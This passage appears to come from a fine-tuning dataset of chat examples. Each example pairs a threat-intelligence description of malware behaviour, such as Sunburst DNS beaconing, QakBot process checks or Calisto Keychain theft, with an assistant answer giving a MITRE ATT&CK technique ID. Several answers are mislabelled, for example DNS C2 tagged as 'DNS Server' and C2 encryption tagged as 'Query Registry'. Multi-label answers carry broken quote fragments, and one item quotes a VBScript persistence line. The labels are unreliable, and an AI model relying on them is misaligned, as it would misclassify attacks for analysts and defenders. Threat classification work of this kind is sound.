                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the initial phases, the Sunburst malware talks to the C&C server by sending encoded DNS requests. These requests contain information about the infected computer; if the attackers deem it interesting enough, the DNS response includes a CNAME record pointing to a second level C&C server."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp encodes its second-stage payload with Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes can alter the victim's proxy configuration."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: SecureWorks)  NetWire logs keystrokes and peripheral inputs into encoded files in the C:\\Users\\<username>   Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects password policy information with the command \"net accounts\"."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used various batch scripts to establish C2 and download additional files. Gamaredon Group's backdoor malware has also been written to a batch file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can use the Linux API `statvfs` to enumerate the current working directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used RDP for direct remote point-and-click access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The figure below shows the example of two of several possible command codes. Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE can exfiltrate collected data to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop is compiled as a DLL, which is built from a modified version of 7-Zip source code. The 7-Zip code is not utilized and is designed to hide malicious functionality added by the attackers. The DLL is compiled where the Name file of the Export Directory Table is “\"7-zip.dll\" and the Export Names are"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hi-Zor uses various XOR techniques to obfuscate its components."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can create a directory (C:\\ProgramData\\Mail\\MailAg\\gl) to use as a temporary directory for uploading files."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been distributed via spearphishing as an email attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can close specific Windows Security and Internet Explorer dialog boxes to mask external connections."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 collected emails from specific individuals, such as executives and IT staff, using \"New-MailboxExportRequest\" followed by \"Get-MailboxExportRequest\"."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can establish persistence via a Launch Daemon."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into executing the malware when trying to access a directory"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has the ability to check running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can inject into a target process using process doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the first C&amp;C call, the backdoor sends a pack with the victim’s system information. All further information sent to the C&amp;C is encrypted with a public key framework, making decryption impossible. The commands from the C&amp;C are encrypted in a simpler manner and can be decrypted if intercepted because the secret key is hardcoded in the malware"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this intrusion from December 2021, the threat actors utilized IcedID as the initial access vector. IcedID is a banking trojan that first appeared in 2017, usually, it is delivered via malspam campaigns and has been widely used as an initial access vector in multiple ransomware intrusions. Upon execution of… ."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint is usually installed through a malicious shim database which allows the malware to persist in the system"
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has created system services to execute cryptocurrency mining software."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy encrypts communications using AES256."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA459 has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull variants have the ability to communicate with C2 servers using ICMP or TCP."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 has self-propagation/lateral movement functionality (which requires user interaction) via mapped/available network shares or mounted USB devices"
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used a scheduled task to launch its PowerShell loader."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can decode and decrypt exfiltrated data sent to C2."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scheduled tasks enable administrators to run tasks or “jobs” at designated times rather than every time the system is booted or the user logs in. This feature can be implemented via the Windows COM API, which the first versions of Ramsay have tailored. Based on the high ratio of similarity with Carberp’s implementation, it’s highly probable that Ramsay’s implementation was adapted from Carberp’s publicly available source code"
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversaries modify publicly available tools such as ASPXSpy to remove identifying characteristics that network defenders use to identify web shells"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Technet and Pastebin web pages for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can use HTTP for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can set up an HTTP or SOCKS proxy."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been packed with the UPX packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload of  is encrypted with simple XOR with a rotating key. The  configuration file has been encrypted with RC4 keys."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot has been known to establish persistence by adding programs to the Run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of ADVSTORESHELL encrypts some C2 with 3DES."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To run persistently on the system, the Trojan will first create a VBScript file:SpecialFolder.CommonApplicationData\\srvResesponded.vbs that contains:CreateObject(“WScript.Shell”).Run(“%app%”) The Trojan replaces the %app% string in the above VBScript with the path to its executable"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name. The attacker likely utilizes the DGA subdomain to vary the DNS response to victims as a means to control the targeting of the malware. These subdomains are concatenated with one of the following to create the hostname to resolve"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to capture audio from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT has the ability to extract data from removable devices connected to the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once initiated the agent proceeds to enumerate the infected machine using Windows Management Instrumentation (WMI) to obtain the following information"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calisto collects Keychain storage data and copies those passwords/tokens to a file."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can download files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can use Base64 to encode information sent to its C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK is capable of performing keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can run a remote scriptlet that drops a file and executes it via regsvr32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of stealing Outlook passwords."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Open interactive python shells with auto-completion on the all-in-memory remote python interpreter"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The response to this request is hidden in the source code of following Flickr lookalike page"
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanaBot is a modular malware that includes various additional modules; the most popular functionalities of these modules are stealing information from compromised machines and injecting fake forms into popular ecommerce and social media sites to collect payment data. It can also provide full access to infected systems with remote desktop, or mouse and keyboard access by utilizing a VNC plugin."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC', 'T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the bot is running with admin privileges on a Windows version newer than Windows 7, persistence is established using the registry “image file execution options” method"
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif droppers have used WMI classes to execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "spear phishing campaigns have included malicious Word documents with DDE execution."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deep Discovery Inspector protects customers from these threats via this DDI Rule:  DDI Rule 18 : DNS response of a queried malware Command and Control domain DDI Rule 15 : Many unsuccessful logon attempts (nbt_scan.exe) DDI Rule 38 : Multiple unsuccessful logon attempts (nbt_scan.exe)  TippingPoint customers are protected from these threats via these ThreatDV filters:  27218: HTTP: TROJ_RATANKBA_A Checkin 28219: HTTP: TROJ_RATANKBA_A Checkin 02 27220: HTTPS: TROJ_RATANKBA_A Checkin 27221: HTTP: Sundown EK Flash Exploit (SWF_EXPLOYT.YYRQ)  A list of related Indicators of Compromise (IoCs) can be found in this appendix"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT can download files to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can identify system information, including battery status."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The kill_unwanted function gets a list of running processes, compares each process with a encrypted list of “unwanted” programs. With our aforementioned breakpoint on the ei_str function, we can dump the decrypted strings, to ascertain the value of the “unwanted” programs"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used a script that extracts the web session cookie and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pasam creates a backdoor through which remote attackers can retrieve lists of files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used RDP for lateral movement."
            },
            {
                "role": "assistant",
